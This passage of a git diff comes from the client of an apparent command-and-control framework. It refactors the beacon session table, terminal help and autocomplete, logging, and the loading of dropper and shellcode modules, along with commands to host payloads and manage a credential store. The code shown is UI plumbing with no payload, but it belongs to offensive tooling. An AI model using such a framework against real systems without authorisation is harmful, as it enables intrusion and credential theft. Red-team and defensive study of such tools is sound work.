self.listSession.setHorizontalHeaderLabels(["Beacon ID", "Listener ID", "Host", "User", "Beacon Arch", "Privilege", "Operating System", "Process ID", "Internal IP", "ProofOfLife", "Killed"]) + self.listSession.setHorizontalHeaderLabels(["Beacon", "Listener", "Host", "User", "Arch", "Priv", "OS", "PID", "Internal IP", "Last Seen", "State"]) archHeader = self.listSession.horizontalHeaderItem(4) if archHeader is not None: archHeader.setToolTip("Architecture du process beacon") + for index, tooltip in { + 0: "Beacon hash", + 1: "Listener hash", + 6: "Operating system family; full description is available in each cell tooltip", + 8: "Internal IP addresses", + 9: "Relative last proof of life", + 10: "Session state computed from killed flag and last proof of life", + }.items(): + headerItem = self.listSession.horizontalHeaderItem(index) + if headerItem is not None: + headerItem.setToolTip(tooltip) for ix, sessionStore in enumerate(self.listSessionObject): beaconHash = QTableWidgetItem(sessionStore.beaconHash[0:8]) @@ -246,22 +541,38 @@ def printSessions(self): self.listSession.setItem(ix, 4, arch) privilege = QTableWidgetItem(sessionStore.privilege) + if _to_text(sessionStore.privilege).lower() in HIGH_PRIVILEGE_VALUES: + color_table_item(privilege, HIGH_PRIVILEGE_COLOR) + privilege.setToolTip("High privilege beacon process.") self.listSession.setItem(ix, 5, privilege) - os = QTableWidgetItem(sessionStore.os) + osLabel = normalize_os_label(sessionStore.os) + os = QTableWidgetItem(osLabel) + os.setToolTip(_to_text(sessionStore.os) or "Unknown OS") self.listSession.setItem(ix, 6, os) processId = QTableWidgetItem(sessionStore.processId) self.listSession.setItem(ix, 7, processId) internalIps = QTableWidgetItem(sessionStore.internalIps) + internalIps.setToolTip(sessionStore.internalIps) self.listSession.setItem(ix, 8, internalIps) - pol = QTableWidgetItem(sessionStore.lastProofOfLife.split(".", 1)[0]) + lastSeenLabel, lastSeenTooltip, _ = humanize_last_seen(sessionStore.lastProofOfLife) + pol = QTableWidgetItem(lastSeenLabel) + pol.setToolTip(lastSeenTooltip) self.listSession.setItem(ix, 9, pol) - killed = QTableWidgetItem(str(sessionStore.killed)) - self.listSession.setItem(ix, 10, killed) + state, stateTooltip = resolve_session_state( + sessionStore.killed, + sessionStore.lastProofOfLife, + staleAfterMs=self.sessionStaleAfterMs, + ) + stateItem = color_table_item(QTableWidgetItem(state), SESSION_STATE_COLORS[state]) + stateItem.setToolTip(stateTooltip) + stateItem.setTextAlignment(Qt.AlignmentFlag.AlignCenter) + self.listSession.setItem(ix, 10, stateItem) + self.updateActionButtons() class GetSessionsWorker(QObject): @@ -270,6 +581,7 @@ class GetSessionsWorker(QObject): def __init__(self, parent=None): super().__init__(parent) self.exit = False + self.refreshIntervalSeconds = env_int("C2_SESSION_REFRESH_MS", 2000, minimum=100) / 1000 def __del__(self): self.exit=True @@ -279,9 +591,9 @@ def run(self): while self.exit==False: if self.receivers(self.checkin) > 0: self.checkin.emit() - time.sleep(2) - except Exception as e: - pass + time.sleep(self.refreshIntervalSeconds) + except Exception: + logger.exception("Session refresh worker stopped unexpectedly") def quit(self): self.exit=True diff --git a/C2Client/C2Client/TerminalModules/Batcave/batcave.py b/C2Client/C2Client/TerminalModules/Batcave/batcave.py index 41ba5fd..a329b29 100644 --- a/C2Client/C2Client/TerminalModules/Batcave/batcave.py +++ b/C2Client/C2Client/TerminalModules/Batcave/batcave.py @@ -1,9 +1,11 @@ from pathlib import Path +import logging import requests -import json import zipfile import os +logger = logging.getLogger(__name__) + BatcaveUrl = "https://github.com/exploration-batcave/batcave" BatcaveCache = os.path.join(Path(__file__).parent, 'cache') @@ -28,7 +30,7 @@ def fetchBatcaveJson(): if json_response.status_code == 200: json_data = json_response.json() return json_data - print("Failed to Fetch Json") + logger.warning("Failed to fetch Batcave JSON") return {} @@ -96,8 +98,7 @@ def unzipFile(zipfilepath: str): extractedFiles = zip_ref.namelist() if len(extractedFiles) != 1: - print("Weird, we should have 1 file per zip but got this " + str(extractedFiles)) - print("Will take the first and continue with the life, but check the logs") + logger.warning("Expected one file per Batcave zip, got %s", extractedFiles) return os.path.join(extractDir, extractedFiles[0]) diff --git a/C2Client/C2Client/TerminalPanel.py b/C2Client/C2Client/TerminalPanel.py index b562829..4e0a275 100644 --- a/C2Client/C2Client/TerminalPanel.py +++ b/C2Client/C2Client/TerminalPanel.py @@ -5,42 +5,62 @@ import re import subprocess from datetime import datetime - -from PyQt6.QtCore import Qt, QEvent, QThread, QTimer, pyqtSignal, QObject -from PyQt6.QtGui import QFont, QTextCursor, QStandardItem, QStandardItemModel, QShortcut +from typing import Any +from PyQt6.QtCore import Qt, QEvent, QThread, pyqtSignal, QObject +from PyQt6.QtGui import QShortcut, QTextCursor, QTextDocument from PyQt6.QtWidgets import ( - QCompleter, + QHBoxLayout, + QLabel, QLineEdit, - QPlainTextEdit, + QPushButton, + QTextBrowser, + QTextEdit, QVBoxLayout, QWidget, ) from .grpcClient import TeamServerApi_pb2 +from .console_style import ( + CONSOLE_COLORS, + apply_console_output_style, + append_console_block, + append_console_spacing, + move_editor_to_end, +) +from .autocomplete import CompletionInput, completion_options +from .env import env_path from .grpc_status import is_response_ok, terminal_response_text +from .panel_style import apply_dark_panel_style from .TerminalModules.Batcave import batcave from .TerminalModules.Credentials import credentials from git import Repo +logger = logging.getLogger(__name__) + # # Dropper modules # +configuredDropperModulesDir = env_path("C2_DROPPER_MODULES_DIR") +configuredDropperModulesPath = env_path("C2_DROPPER_MODULES_CONF") try: import pkg_resources - dropperModulesDir = pkg_resources.resource_filename( + defaultDropperModulesDir = pkg_resources.resource_filename( 'C2Client', 'DropperModules' ) - DropperModulesPath = pkg_resources.resource_filename( + defaultDropperModulesPath = pkg_resources.resource_filename( 'C2Client', 'DropperModules.conf' ) except ImportError: - dropperModulesDir = os.path.join(os.path.dirname(__file__), 'DropperModules') - DropperModulesPath = os.path.join(os.path.dirname(__file__), 'DropperModules.conf') + defaultDropperModulesDir = os.path.join(os.path.dirname(__file__), 'DropperModules') + defaultDropperModulesPath = os.path.join(os.path.dirname(__file__), 'DropperModules.conf') + +dropperModulesDir = str(configuredDropperModulesDir) if configuredDropperModulesDir else defaultDropperModulesDir +DropperModulesPath = str(configuredDropperModulesPath) if configuredDropperModulesPath else defaultDropperModulesPath if not os.path.exists(dropperModulesDir): os.makedirs(dropperModulesDir) @@ -55,13 +75,18 @@ repoPath = os.path.join(dropperModulesDir, repoName) if not os.path.exists(repoPath): - print(f"Cloning {repoName} in {repoPath}.") + logger.info("Cloning %s in %s.", repoName, repoPath) try: Repo.clone_from(repo, repoPath) - except Exception as e: - print(f"Failed to clone {repoName}: {e}") + except Exception as exc: + logger.warning( + "Failed to clone %s: %s", + repoName, + exc, + exc_info=logger.isEnabledFor(logging.DEBUG), + ) else: - print(f"Repository {repoName} already exists in {dropperModulesDir}.") + logger.debug("Repository %s already exists in %s.", repoName, dropperModulesDir) for moduleName in os.listdir(dropperModulesDir): modulePath = os.path.join(dropperModulesDir, moduleName) @@ -73,30 +98,34 @@ # Dynamically import the module importedModule = __import__(moduleName) DropperModules.append(importedModule) - print(f"Successfully imported {moduleName}") - except ImportError as e: - print(f"Failed to import {moduleName}: {e}") - -# -# ShellCode modules -# - -import donut + logger.debug("Imported dropper module %s", moduleName) + except ImportError as exc: + logger.warning( + "Failed to import dropper module %s: %s", + moduleName, + exc, + exc_info=logger.isEnabledFor(logging.DEBUG), + ) +configuredShellCodeModulesDir = env_path("C2_SHELLCODE_MODULES_DIR") +configuredShellCodeModulesPath = env_path("C2_SHELLCODE_MODULES_CONF") try: import pkg_resources - shellCodeModulesDir = pkg_resources.resource_filename( + defaultShellCodeModulesDir = pkg_resources.resource_filename( 'C2Client', 'ShellCodeModules' ) - ShellCodeModulesPath = pkg_resources.resource_filename( + defaultShellCodeModulesPath = pkg_resources.resource_filename( 'C2Client', 'ShellCodeModules.conf' ) except ImportError: - shellCodeModulesDir = os.path.join(os.path.dirname(__file__), 'ShellCodeModules') - ShellCodeModulesPath = os.path.join(os.path.dirname(__file__), 'ShellCodeModules.conf') + defaultShellCodeModulesDir = os.path.join(os.path.dirname(__file__), 'ShellCodeModules') + defaultShellCodeModulesPath = os.path.join(os.path.dirname(__file__), 'ShellCodeModules.conf') + +shellCodeModulesDir = str(configuredShellCodeModulesDir) if configuredShellCodeModulesDir else defaultShellCodeModulesDir +ShellCodeModulesPath = str(configuredShellCodeModulesPath) if configuredShellCodeModulesPath else defaultShellCodeModulesPath if not os.path.exists(shellCodeModulesDir): os.makedirs(shellCodeModulesDir) @@ -111,13 +140,18 @@ repoPath = os.path.join(shellCodeModulesDir, repoName) if not os.path.exists(repoPath): - print(f"Cloning {repoName} in {repoPath}.") + logger.info("Cloning %s in %s.", repoName, repoPath) try: Repo.clone_from(repo, repoPath) - except Exception as e: - print(f"Failed to clone {repoName}: {e}") + except Exception as exc: + logger.warning( + "Failed to clone %s: %s", + repoName, + exc, + exc_info=logger.isEnabledFor(logging.DEBUG), + ) else: - print(f"Repository {repoName} already exists in {shellCodeModulesDir}.") + logger.debug("Repository %s already exists in %s.", repoName, shellCodeModulesDir) for moduleName in os.listdir(shellCodeModulesDir): modulePath = os.path.join(shellCodeModulesDir, moduleName) @@ -129,23 +163,32 @@ # Dynamically import the module importedModule = __import__(moduleName) ShellCodeModules.append(importedModule) - print(f"Successfully imported {moduleName}") - except ImportError as e: - print(f"Failed to import {moduleName}: {e}") + logger.debug("Imported shellcode module %s", moduleName) + except ImportError as exc: + logger.warning( + "Failed to import shellcode module %s: %s", + moduleName, + exc, + exc_info=logger.isEnabledFor(logging.DEBUG), + ) # # Log # -try: - import pkg_resources - logsDir = pkg_resources.resource_filename( - 'C2Client', - 'logs' - ) +configuredLogsDir = env_path("C2_LOG_DIR") +if configuredLogsDir: + logsDir = str(configuredLogsDir) +else: + try: + import pkg_resources + logsDir = pkg_resources.resource_filename( + 'C2Client', + 'logs' + ) -except ImportError: - logsDir = os.path.join(os.path.dirname(__file__), 'logs') + except ImportError: + logsDir = os.path.join(os.path.dirname(__file__), 'logs') if not os.path.exists(logsDir): os.makedirs(logsDir) @@ -161,6 +204,7 @@ HttpsType = "https" GrpcGetBeaconBinaryInstruction = "getBeaconBinary" +GrpcHostArtifactInstruction = "hostArtifact" GrpcPutIntoUploadDirInstruction = "putIntoUploadDir" GrpcInfoListenerInstruction = "infoListener" GrpcBatcaveUploadToolInstruction = "batcaveUpload" @@ -176,40 +220,83 @@ def isTerminalResponseError(response): return not is_response_ok(response) or ErrorInstruction in terminal_response_text(response) -HelpInstruction = "Help" - -SocksInstruction = "Socks" -SocksHelp = """Socks: -Socks start -Socks bind beaconHash -Socks unbind -Socks stop""" - -BatcaveInstruction = "Batcave" -BatcaveHelp = """Batcave: -Install the given module locally or on the team server: -exemple: -- Batcave Install rubeus -- Batcave BundleInstall recon -- Batcave Search rec""" - -DropperInstruction = "Dropper" -DropperConfigSubInstruction = "Config" -DropperConfigShellcodeGeneratorDisplay = "ShellcodeGenerator" +HelpInstruction = "help" + +SocksInstruction = "socks" +SocksHelp = """socks +Manage the local SOCKS bridge bindings. + +Usage: socks [beacon_hash] + +Kind: terminal +Target: teamserver +Requires session: no + +Arguments: + (text, required) - One of start, stop, unbind, or bind. + [beacon_hash] (session, optional) - Beacon hash required by bind. + +Examples: + socks start + socks bind beaconHash + socks unbind + socks stop""" + +BatcaveInstruction = "batcave" +BatcaveHelp = """batcave +Install or search Batcave tools from the local terminal. + +Usage: batcave + +Kind: terminal +Target: client/teamserver +Requires session: no + +Arguments: + (text, required) - One of install, bundleInstall, or search. + (text, required) - Tool or bundle name. + +Examples: + batcave install rubeus + batcave bundleInstall recon + batcave search rec""" + +DropperInstruction = "dropper" +DropperConfigSubInstruction = "config" +DropperConfigShellcodeGeneratorDisplay = "shellcodeGenerator" DropperConfigShellcodeGeneratorKey = DropperConfigShellcodeGeneratorDisplay.lower() -DropperConfigBeaconArchDisplay = "BeaconArch" +DropperConfigBeaconArchDisplay = "beaconArch" DropperConfigBeaconArchKey = DropperConfigBeaconArchDisplay.lower() -ShellcodeGeneratorDonut = "Donut" +ShellcodeGeneratorDonut = "donut" DefaultWindowsArch = "x64" SupportedWindowsArchs = ("x86", "x64", "arm64") -DropperAvailableHeader = "- Available dropper:\n" +DropperAvailableHeader = "\nAvailable droppers:\n" DropperArchitectureHelp = ( "\nArchitecture:\n" - " Dropper Config BeaconArch x86|x64|arm64\n" - " Dropper --arch x86|x64|arm64\n" + " dropper config beaconArch x86|x64|arm64\n" + " dropper --arch x86|x64|arm64\n" ) +DropperHelp = """dropper +Generate and host a beacon dropper. + +Usage: dropper [arguments] + +Kind: terminal +Target: client/teamserver +Requires session: no + +Arguments: + (text, optional) - Dropper module name. + config (text, optional) - Show or update dropper generation defaults. + [listener_download] (listener, optional) - Listener used to host generated files. + [listener_beacon] (listener, optional) - Listener embedded in the generated beacon. + +Examples: + dropper config + dropper config beaconArch x64 + dropper listenerDownload listenerBeacon --arch x64""" DropperThreadRunningMessage = "Dropper thread already running" -DropperConfigHeader = "- Dropper Config:" +DropperConfigHeader = "\nDropper config:" DropperConfigShellcodeGeneratorLine = f" {DropperConfigShellcodeGeneratorDisplay}: {{}}" DropperConfigShellcodeGeneratorAvailableLine = " Available: {}" DropperConfigBeaconArchLine = f" {DropperConfigBeaconArchDisplay}: {{}}" @@ -227,39 +314,73 @@ def isTerminalResponseError(response): DropperModuleGetHelpFunction = "getHelpExploration" DropperModuleGeneratePayloadFunction = "generatePayloadsExploration" -HostInstruction = "Host" -HostHelp="""Host: -Host upload a file on the teamserver to be downloaded by a web request from a web listener (http/https): -exemple: -- Host file hostListenerHash""" +HostInstruction = "host" +HostHelp="""host +Host a TeamServer artifact so it can be downloaded through an HTTP/HTTPS listener. + +Usage: host [hosted_filename] -CredentialStoreInstruction = "CredentialStore" -CredentialStoreHelp = """CredentialStore: -Handle the credential store: -exemple: -- CredentialStore get -- CredentialStore set domain username credential -- CredentialStore search something""" +Kind: terminal +Target: teamserver +Requires session: no + +Arguments: + (artifact, required) - Artifact name, short hash, or full hash. + (listener, required) - HTTP/HTTPS listener used to serve the file. + [hosted_filename] (text, optional) - Published filename. Defaults to the artifact display name. + +Examples: + host text.txt listenerHash + host artifactShortHash listenerHash hostedName.exe""" + +CredentialStoreInstruction = "credentialStore" +CredentialStoreHelp = """credentialStore +Read and update the TeamServer credential store. + +Usage: credentialStore [arguments] + +Kind: terminal +Target: teamserver +Requires session: no + +Arguments: + (text, required) - One of get, set, or search. + [arguments] (text, optional) - Action-specific values. + +Examples: + credentialStore get + credentialStore set domain username credential + credentialStore search username""" GetSubInstruction = "get" SetSubInstruction = "set" SearchSubInstruction = "search" -ReloadModulesInstruction = "ReloadModules"; -ReloadModulesHelp = """ReloadModules: -Command the TeamServer to reload the modules libraries located in TeamServerModulesDirectoryPath. -Can be used to add a new functionality without restarting the TeamServer. -""" +ReloadModulesInstruction = "reloadModules"; +ReloadModulesHelp = """reloadModules +Reload TeamServer module libraries without restarting the TeamServer. + +Usage: reloadModules + +Kind: terminal +Target: teamserver +Requires session: no + +Examples: + reloadModules""" def getHelpMsg(): - helpText = HostInstruction+"\n" - helpText += DropperInstruction+"\n" - helpText += BatcaveInstruction+"\n" - helpText += CredentialStoreInstruction+"\n" - helpText += SocksInstruction+"\n" - helpText += ReloadModulesInstruction - return helpText + return """Available terminal commands: +Use help for command-specific details. + +- Local: + host - Host a TeamServer artifact through an HTTP/HTTPS listener. + dropper - Generate and host a beacon dropper. + batcave - Install or search Batcave tools. + credentialStore - Read and update TeamServer credentials. + socks - Manage local SOCKS bridge bindings. + reloadModules - Reload TeamServer module libraries.""" def normalizeWindowsArch(arch): @@ -372,36 +493,244 @@ def extractDropperTargetArch(arguments, defaultArch=DefaultWindowsArch): return targetArch, remainingArgs -completerData = [ - (HelpInstruction,[]), - (HostInstruction,[]), - (DropperInstruction,[ - (DropperConfigSubInstruction, [ - (DropperConfigShellcodeGeneratorDisplay, []), - (DropperConfigBeaconArchDisplay, [ - ("x86", []), - ("x64", []), - ("arm64", []) - ]) - ]) - ]), - (BatcaveInstruction, [ - ("Install", []), - ("BundleInstall", []), - ("Search", []) - ]), - (CredentialStoreInstruction, [ - (GetSubInstruction, []), - (SetSubInstruction, []), - (SearchSubInstruction, []) - ]), - (ReloadModulesInstruction,[]), -] +def _add_completion_path(entries: list[tuple[str, list]], parts: list[str]) -> None: + if not parts: + return + head = str(parts[0]).strip() + if not head: + return + for index, (text, children) in enumerate(entries): + if text == head: + if len(parts) > 1: + _add_completion_path(children, parts[1:]) + entries[index] = (text, children) + return + children: list[tuple[str, list]] = [] + entries.append((head, children)) + if len(parts) > 1: + _add_completion_path(children, parts[1:]) + + +def _completion_text(entry: tuple) -> str: + return str(entry[0]).strip() if entry else "" + + +def _completion_children(entry: tuple) -> list[tuple]: + if len(entry) < 2 or entry[1] is None: + return [] + return entry[1] + + +def _completion_insert_text(entry: tuple) -> str: + if len(entry) >= 3: + insert_text = str(entry[2]).strip() + if insert_text: + return insert_text + return _completion_text(entry) + + +def _merge_completion_entries(destination: list[tuple[str, list]], source: list[tuple]) -> None: + for entry in source: + text = _completion_text(entry) + children = _completion_children(entry) + _add_completion_path(destination, [text]) + destination_entry = next(entry for entry in destination if entry[0] == text) + if children: + _merge_completion_entries(destination_entry[1], children) + + +def _field(value: Any, name: str, default: Any = "") -> Any: + return getattr(value, name, default) + + +def _safe_completion_token(value: Any) -> str: + text = str(value or "").strip() + if not text or any(ch.isspace() for ch in text): + return "" + return text + + +def _artifact_short_reference(artifact: Any) -> str: + artifact_id = _safe_completion_token(_field(artifact, "artifact_id")) + if not artifact_id: + return "" + if len(artifact_id) > 12: + return artifact_id[:12] + return artifact_id + + +def _artifact_display_name(artifact: Any) -> str: + display_name = str(_field(artifact, "display_name") or "").strip() + if display_name: + return display_name + name = str(_field(artifact, "name") or "").strip() + if name: + return re.split(r"[\\/]", name)[-1] or name + return _artifact_short_reference(artifact) + + +def _is_hostable_artifact(artifact: Any) -> bool: + category = str(_field(artifact, "category") or "").strip().lower() + return category != "hosted" + + +def _host_artifact_entry(artifact: Any, children: list[tuple]) -> tuple[str, list, str] | None: + short_reference = _artifact_short_reference(artifact) + display_name = _artifact_display_name(artifact) + if not display_name: + return None + if not short_reference: + insert_token = _safe_completion_token(display_name) + if not insert_token: + return None + return (display_name, children.copy(), insert_token) + label = f"{display_name} ({short_reference})" + safe_display_name = _safe_completion_token(display_name) + insert_token = f"{safe_display_name}({short_reference})" if safe_display_name else short_reference + return (label, children.copy(), insert_token) + + +def _listener_completion_values(listener: Any) -> list[str]: + listener_hash = _safe_completion_token(_field(listener, "listener_hash")) + if not listener_hash: + return [] + if len(listener_hash) > 8: + return [listener_hash[:8]] + return [listener_hash] + + +def _session_completion_values(session: Any) -> list[str]: + beacon_hash = _safe_completion_token(_field(session, "beacon_hash")) + if not beacon_hash: + return [] + values = [beacon_hash] + if len(beacon_hash) > 8: + values.append(beacon_hash[:8]) + return list(dict.fromkeys(values)) + + +def _module_completion_name(module: Any) -> str: + return _safe_completion_token(getattr(module, "__name__", "")) + + +def _host_artifact_entries(artifacts: list[Any], children: list[tuple[str, list]]) -> list[tuple]: + entries: list[tuple] = [] + for artifact in artifacts: + if not _is_hostable_artifact(artifact): + continue + entry = _host_artifact_entry(artifact, children) + if entry is None: + continue + entries.append(entry) + if not entries: + entries.append(("", children.copy())) + return entries + + +def _host_artifact_reference_from_token(token: str) -> str: + text = str(token or "").strip() + match = re.match(r"^.+\(([^()\s]+)\)$", text) + if match: + return match.group(1) + return text + + +def _listener_entries(listeners: list[Any], children: list[tuple[str, list]] | None = None) -> list[tuple[str, list]]: + entries: list[tuple[str, list]] = [] + for listener in listeners: + for value in _listener_completion_values(listener): + _add_completion_path(entries, [value]) + if children: + listener_entry = next(entry for entry in entries if entry[0] == value) + _merge_completion_entries(listener_entry[1], children) + if not entries: + entries.append(("", children.copy() if children else [])) + return entries + + +def _session_entries(sessions: list[Any]) -> list[tuple[str, list]]: + entries: list[tuple[str, list]] = [] + for session in sessions: + for value in _session_completion_values(session): + _add_completion_path(entries, [value]) + if not entries: + entries.append(("", [])) + return entries + + +def build_terminal_completer_data(grpcClient: Any = None) -> list[tuple[str, list]]: + listeners: list[Any] = [] + artifacts: list[Any] = [] + sessions: list[Any] = [] + if grpcClient is not None: + try: + listeners = list(grpcClient.listListeners()) + except Exception as exc: + logger.debug("Terminal autocomplete could not load listeners: %s", exc) + try: + artifacts = list(grpcClient.listArtifacts()) + except Exception as exc: + logger.debug("Terminal autocomplete could not load artifacts: %s", exc) + try: + sessions = list(grpcClient.listSessions()) + except Exception as exc: + logger.debug("Terminal autocomplete could not load sessions: %s", exc) + + terminal_commands = [ + HostInstruction, + DropperInstruction, + BatcaveInstruction, + CredentialStoreInstruction, + SocksInstruction, + ReloadModulesInstruction, + ] + listener_with_optional_filename = _listener_entries(listeners, [("", [])]) + listener_then_listener = _listener_entries(listeners, _listener_entries(listeners, [("--arch", [(arch, []) for arch in SupportedWindowsArchs])])) + dropper_module_entries: list[tuple[str, list]] = [] + for module in DropperModules: + module_name = _module_completion_name(module) + if module_name: + _add_completion_path(dropper_module_entries, [module_name]) + module_entry = next(entry for entry in dropper_module_entries if entry[0] == module_name) + _merge_completion_entries(module_entry[1], listener_then_listener) + + shellcode_generator_entries = [(ShellcodeGeneratorDonut, [])] + for module in ShellCodeModules: + module_name = _module_completion_name(module) + if module_name and module_name != ShellcodeGeneratorDonut: + shellcode_generator_entries.append((module_name, [])) + + dropper_children = [ + ( + DropperConfigSubInstruction, + [ + (DropperConfigShellcodeGeneratorDisplay, shellcode_generator_entries), + (DropperConfigBeaconArchDisplay, [(arch, []) for arch in SupportedWindowsArchs]), + ], + ), + *dropper_module_entries, + ] + if not dropper_module_entries: + dropper_children.append(("", listener_then_listener)) + + return [ + (HelpInstruction, [(command, []) for command in terminal_commands]), + (HostInstruction, _host_artifact_entries(artifacts, listener_with_optional_filename)), + (DropperInstruction, dropper_children), + (BatcaveInstruction, [("install", []), ("bundleInstall", []), ("search", [])]), + (CredentialStoreInstruction, [(GetSubInstruction, []), (SetSubInstruction, []), (SearchSubInstruction, [])]), + (SocksInstruction, [("start", []), ("stop", []), ("unbind", []), ("bind", _session_entries(sessions))]), + (ReloadModulesInstruction, []), + ] InfoProcessing = "Processing..." ErrorCmdUnknow = "Error: Command Unknown" ErrorFileNotFound = "Error: File doesn't exist." ErrorListener = "Error: Download listener must be of type http or https." +TerminalWelcomeMessage = ( + "Local TeamServer terminal. Type help to list available commands, " + "or help for command-specific details." +) # @@ -409,13 +738,13 @@ def extractDropperTargetArch(arguments, defaultArch=DefaultWindowsArch): # class Terminal(QWidget): tabPressed = pyqtSignal() - logFileName="" - dropperWorker=None def __init__(self, parent, grpcClient): - super(QWidget, self).__init__(parent) + super().__init__(parent) + apply_dark_panel_style(self) self.layout = QVBoxLayout(self) self.layout.setContentsMargins(0, 0, 0, 0) + self.layout.setSpacing(6) self.grpcClient = grpcClient self.dropperConfig = { @@ -423,24 +752,53 @@ def __init__(self, parent, grpcClient): DropperConfigBeaconArchKey: DefaultWindowsArch, } - self.logFileName=LogFileName - - self.editorOutput = QPlainTextEdit() - self.editorOutput.setFont(QFont("JetBrainsMono Nerd Font")) + self.logFileName = LogFileName + self.dropperWorker = None + self.thread = None + + self.searchInput = QLineEdit() + self.searchInput.setPlaceholderText("Search output") + self.searchInput.setFixedHeight(26) + self.searchInput.returnPressed.connect(self.findNextSearchMatch) + self.findPreviousButton = QPushButton("Prev") + self.findPreviousButton.setFixedHeight(26) + self.findPreviousButton.clicked.connect(lambda _checked=False: self.findNextSearchMatch(backward=True)) + self.findNextButton = QPushButton("Next") + self.findNextButton.setFixedHeight(26) + self.findNextButton.clicked.connect(lambda _checked=False: self.findNextSearchMatch()) + self.clearOutputButton = QPushButton("Clear") + self.clearOutputButton.setFixedHeight(26) + self.clearOutputButton.clicked.connect(self.clearTerminalOutput) + self.exportLogButton = QPushButton("Export") + self.exportLogButton.setFixedHeight(26) + self.exportLogButton.clicked.connect(self.exportTerminalOutput) + self.terminalNoticeLabel = QLabel("") + self.terminalNoticeLabel.setMinimumWidth(180) + self.terminalNoticeLabel.setAlignment(Qt.AlignmentFlag.AlignRight | Qt.AlignmentFlag.AlignVCenter) + + toolbarLayout = QHBoxLayout() + toolbarLayout.setSpacing(6) + toolbarLayout.addWidget(self.searchInput, 3) + toolbarLayout.addWidget(self.findPreviousButton) + toolbarLayout.addWidget(self.findNextButton) + toolbarLayout.addWidget(self.clearOutputButton) + toolbarLayout.addWidget(self.exportLogButton) + toolbarLayout.addWidget(self.terminalNoticeLabel, 2) + self.layout.addLayout(toolbarLayout) + + self.editorOutput = QTextBrowser() + apply_console_output_style(self.editorOutput) self.editorOutput.setReadOnly(True) + self.editorOutput.setLineWrapMode(QTextEdit.LineWrapMode.WidgetWidth) + self.editorOutput.setLineWrapColumnOrWidth(0) self.layout.addWidget(self.editorOutput, 8) - self.commandEditor = CommandEditor() - self.layout.addWidget(self.commandEditor, 2) + self.commandEditor = CommandEditor(grpcClient=self.grpcClient) + self.commandEditor.setPlaceholderText("Terminal command") + self.commandEditor.setMinimumHeight(28) + self.layout.addWidget(self.commandEditor, 0) self.commandEditor.returnPressed.connect(self.runCommand) - - - def nextCompletion(self): - index = self._compl.currentIndex() - self._compl.popup().setCurrentIndex(index) - start = self._compl.currentRow() - if not self._compl.setCurrentRow(start + 1): - self._compl.setCurrentRow(0) + self.printInTerminal("Terminal", TerminalWelcomeMessage, role="system") def event(self, event): @@ -450,18 +808,70 @@ def event(self, event): return super().event(event) - def printInTerminal(self, cmd, result): - now = datetime.now() - formater = '

'+'['+now.strftime("%Y:%m:%d %H:%M:%S").rstrip()+']'+' [+] '+'{}'+'

' + def printInTerminal(self, cmd, result, role="user"): + normalized_role = role if role in {"system", "user"} else "user" + has_entry = bool(cmd or result) + append_console_block( + self.editorOutput, + cmd, + result, + marker=f"[{normalized_role}]", + tone=normalized_role, + ) + if has_entry: + append_console_spacing(self.editorOutput) + self.setCursorEditorAtEnd() - if cmd: - self.editorOutput.appendHtml(formater.format(cmd)) - self.editorOutput.insertPlainText("\n") - if result: - self.editorOutput.insertPlainText(result) - self.editorOutput.insertPlainText("\n") - self.setCursorEditorAtEnd() + def setTerminalNotice(self, message, is_error=False): + self.terminalNoticeLabel.setText(message) + color = CONSOLE_COLORS["error"] if is_error else CONSOLE_COLORS["muted"] + self.terminalNoticeLabel.setStyleSheet(f"color: {color};") + + + def findNextSearchMatch(self, backward=False): + search_text = self.searchInput.text().strip() + if search_text == "": + self.setTerminalNotice("Search term required.", True) + return False + + original_cursor = self.editorOutput.textCursor() + flags = QTextDocument.FindFlag.FindBackward if backward else QTextDocument.FindFlag(0) + if self.editorOutput.find(search_text, flags): + self.setTerminalNotice("Match found.") + return True + + cursor = self.editorOutput.textCursor() + if backward: + cursor.movePosition(QTextCursor.MoveOperation.End) + else: + cursor.movePosition(QTextCursor.MoveOperation.Start) + self.editorOutput.setTextCursor(cursor) + + if self.editorOutput.find(search_text, flags): + self.setTerminalNotice("Search wrapped.") + return True + + self.editorOutput.setTextCursor(original_cursor) + self.setTerminalNotice("No match.", True) + return False + + + def clearTerminalOutput(self): + self.editorOutput.clear() + self.setTerminalNotice("Output cleared.") + + + def exportTerminalOutput(self): + os.makedirs(logsDir, exist_ok=True) + timestamp = datetime.now().strftime("%Y%m%d_%H%M%S_%f") + base_name = os.path.splitext(self.logFileName)[0] + output_path = os.path.join(logsDir, f"{base_name}_terminal_{timestamp}.log") + with open(output_path, "w", encoding="utf-8") as exportFile: + exportFile.write(self.editorOutput.toPlainText().rstrip()) + exportFile.write("\n") + self.setTerminalNotice("Exported " + os.path.basename(output_path)) + return output_path def runCommand(self): @@ -490,7 +900,7 @@ def runCommand(self): if instructions[0].lower()==HelpInstruction.lower(): if len(instructions) == 1: - self.runHelp() + self.runHelp(commandLine) elif len(instructions) >=2: if instructions[1].lower() == BatcaveInstruction.lower(): self.printInTerminal(commandLine, BatcaveHelp) @@ -501,7 +911,7 @@ def runCommand(self): elif instructions[1].lower() == ReloadModulesInstruction.lower(): self.printInTerminal(commandLine, ReloadModulesHelp) elif instructions[1].lower() == DropperInstruction.lower(): - availableModules = DropperAvailableHeader + availableModules = DropperHelp + DropperAvailableHeader for module in DropperModules: availableModules += " " + module.__name__ + "\n" availableModules += DropperArchitectureHelp @@ -511,7 +921,7 @@ def runCommand(self): elif instructions[1].lower() == SocksInstruction.lower(): self.printInTerminal(commandLine, SocksHelp) else: - self.runHelp() + self.printInTerminal(commandLine, f"No terminal help available for {instructions[1]}.") elif instructions[0].lower()==BatcaveInstruction.lower(): self.runBatcave(commandLine, instructions) elif instructions[0].lower()==HostInstruction.lower(): @@ -530,8 +940,8 @@ def runCommand(self): self.setCursorEditorAtEnd() - def runHelp(self): - self.printInTerminal(HelpInstruction, getHelpMsg()) + def runHelp(self, commandLine=HelpInstruction): + self.printInTerminal(commandLine, getHelpMsg()) def runReloadModules(self, commandLine, instructions): @@ -731,8 +1141,9 @@ def runHost(self, commandLine, instructions): self.printInTerminal(commandLine, HostHelp) return; - filePath = instructions[1] + artifactReference = _host_artifact_reference_from_token(instructions[1]) hostListenerHash = instructions[2] + hostedFilename = instructions[3] if len(instructions) >= 4 else "" commandTeamServer = GrpcInfoListenerInstruction+" "+hostListenerHash termCommand = TeamServerApi_pb2.TerminalCommandRequest(command=commandTeamServer) @@ -758,26 +1169,24 @@ def runHost(self, commandLine, instructions): if downloadPath[0]=="/": downloadPath = downloadPath[1:] - # Upload the file and get the path - try: - filename = os.path.basename(filePath) - with open(filePath, mode='rb') as fileDesc: - payload = fileDesc.read() - except IOError: - 